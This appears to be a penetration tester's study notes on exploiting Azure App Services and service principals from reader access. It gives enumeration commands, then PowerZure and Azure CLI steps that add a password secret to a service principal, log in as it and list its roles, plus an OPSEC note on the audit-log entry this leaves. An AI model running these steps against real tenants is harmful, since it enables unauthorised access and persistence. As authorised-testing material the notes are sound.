oscp/Necronomicon/Cloud/Azure/Reader Permissions/App Services.md

• General
  • Get-AzWebApp Get-AzWebApp | Select EnabledHostNames
    • Gather information on web applications
    • Also extracted with Get-AzDomainInfo in MicroBurst - \Resources\AppServices.csv
• Function Apps
  • Check to see if source code/config files are available
• Service Principal exploitation
  • PowerZure
    • Get-AzureAppOwner
      • Determine if current user is assigned as the owner of a service principal
    • Add-AzureSPSecret -ApplicationName customapp -Password myPassword456
      • Can now authenticate as this service principal with this password and explore its permissions
      • Note Tenant/App ID in output
      • OPSEC NOTE: Azure AD audit logs will record these events with the activity type of "Update application – Certificates and secrets management".
    • az login --service-principal --username APP_ID --password myPassword456 --tenant TENANT_ID
      • Authenticate using Azure CLI as service principal
    • az role assignment list --assignee APP_ID --include-groups --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'
      • Determine role assignment of service principal